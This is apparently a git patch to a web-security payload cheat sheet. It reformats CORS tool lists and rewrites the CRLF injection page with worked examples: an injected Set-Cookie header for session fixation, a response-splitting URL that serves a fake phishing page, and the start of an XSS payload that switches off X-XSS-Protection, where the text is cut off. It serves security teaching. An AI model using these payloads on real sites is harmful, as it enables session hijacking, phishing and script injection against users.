From 35109b415418d2b203b85d1f9ee8f07d5cca2e8d Mon Sep 17 00:00:00 2001
From: Swissky <12152583+swisskyrepo@users.noreply.github.com>
Date: Sun, 24 Nov 2024 13:44:55 +0100
Subject: [PATCH] CORS and CRLF updates
---
CORS Misconfiguration/README.md | 16 ++--
CRLF Injection/README.md | 128 +++++++++++++++++++-------------
Prompt Injection/README.md | 2 +-
3 files changed, 87 insertions(+), 59 deletions(-)
diff --git a/CORS Misconfiguration/README.md b/CORS Misconfiguration/README.md
index 8d599db359..c6d5b87ac4 100644
--- a/CORS Misconfiguration/README.md
+++ b/CORS Misconfiguration/README.md
@@ -11,7 +11,7 @@
* [Origin Reflection](#origin-reflection)
* [Null Origin](#null-origin)
* [XSS on Trusted Origin](#xss-on-trusted-origin)
- * [Wildcard Origin `*` without Credentials](#wildcard-origin--without-credentials)
+ * [Wildcard Origin without Credentials](#wildcard-origin-without-credentials)
* [Expanding the Origin](#expanding-the-origin)
* [Labs](#labs)
* [References](#references)
@@ -19,11 +19,11 @@
## Tools
-* [s0md3v/Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/)
-* [chenjj/CORScanner - Fast CORS misconfiguration vulnerabilities scanner](https://github.com/chenjj/CORScanner)
-* [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html)
-* [trufflesecurity/of-cors - Exploit CORS misconfigurations on the internal networks](https://github.com/trufflesecurity/of-cors)
-* [omranisecurity/CorsOne - Fast CORS Misconfiguration Discovery Tool](https://github.com/omranisecurity/CorsOne)
+* [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
+* [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner
+* [@honoki/PostMessage](https://tools.honoki.net/postmessage.html) - POC Builder
+* [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
+* [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
## Requirements
@@ -149,7 +149,7 @@ again.
https://trusted-origin.example.com/?xss=
```
-### Wildcard Origin `*` without Credentials
+### Wildcard Origin without Credentials
If the server responds with a wildcard origin `*`, **the browser does never send
the cookies**. However, if the server does not require authentication, it's still
@@ -275,7 +275,7 @@ function reqListener() {
- [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
- [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
- [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
-- [CORS Misconfigurations Explained - Detectify Blog - Apr 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
+- [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
- [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
- [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
- [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
diff --git a/CRLF Injection/README.md b/CRLF Injection/README.md
index 33e12d4abf..f587c97b22 100644
--- a/CRLF Injection/README.md
+++ b/CRLF Injection/README.md
@@ -1,56 +1,89 @@
# Carriage Return Line Feed
-> The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
-
-> A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
-
+> CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
## Summary
* [Methodology](#methodology)
- * [Add a cookie](#add-a-cookie)
- * [Add a cookie - XSS Bypass](#add-a-cookie---xss-bypass)
- * [Write HTML](#write-html)
- * [Filter Bypass](#filter-bypass)
+ * [Session Fixation](#session-fixation)
+ * [Cross Site Scripting](#cross-site-scripting)
+ * [Open Redirect](#open-redirect)
+* [Filter Bypass](#filter-bypass)
* [Labs](#labs)
* [References](#references)
## Methodology
-### Add a cookie
+HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
+
+**CRLF Characters**:
+
+* `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
+* `LF` (`\n`, ASCII 10): Moves the cursor to the next line.
+
+By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:
+
+* Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
+* Cache Poisoning: Forcing incorrect content to be stored in caches.
+* Header Manipulation: Altering headers to mislead users or systems
+
-Requested page
+### Session Fixation
+
+A typical HTTP response header looks like this:
```http
-http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
+HTTP/1.1 200 OK
+Content-Type: text/html
+Set-Cookie: sessionid=abc123
```
-HTTP Response
+If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:
```http
-Connection: keep-alive
-Content-Length: 178
+HTTP/1.1 200 OK
Content-Type: text/html
-Date: Mon, 09 May 2016 14:47:29 GMT
-Location: https://www.example.net/[INJECTION STARTS HERE]
-Set-Cookie: mycookie=myvalue
-X-Frame-Options: SAMEORIGIN
-X-Sucuri-ID: 15016
-x-content-type-options: nosniff
-x-xss-protection: 1; mode=block
+Set-Cookie: sessionid=value
+Set-Cookie: admin=true
```
+Now the attacker has set their own cookie.
+
-### Add a cookie - XSS Bypass
+### Cross Site Scripting
-Requested page
+Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
+
+**Requested page**
+
+```http
+http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
+```
+
+**HTTP response**
+
+```http
+Set-Cookie:en
+Content-Length: 0
+
+HTTP/1.1 200 OK
+Content-Type: text/html
+Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
+Content-Length: 34
+
+You have been Phished
+```
+
+In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
+
+**Requested page**
```powershell
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a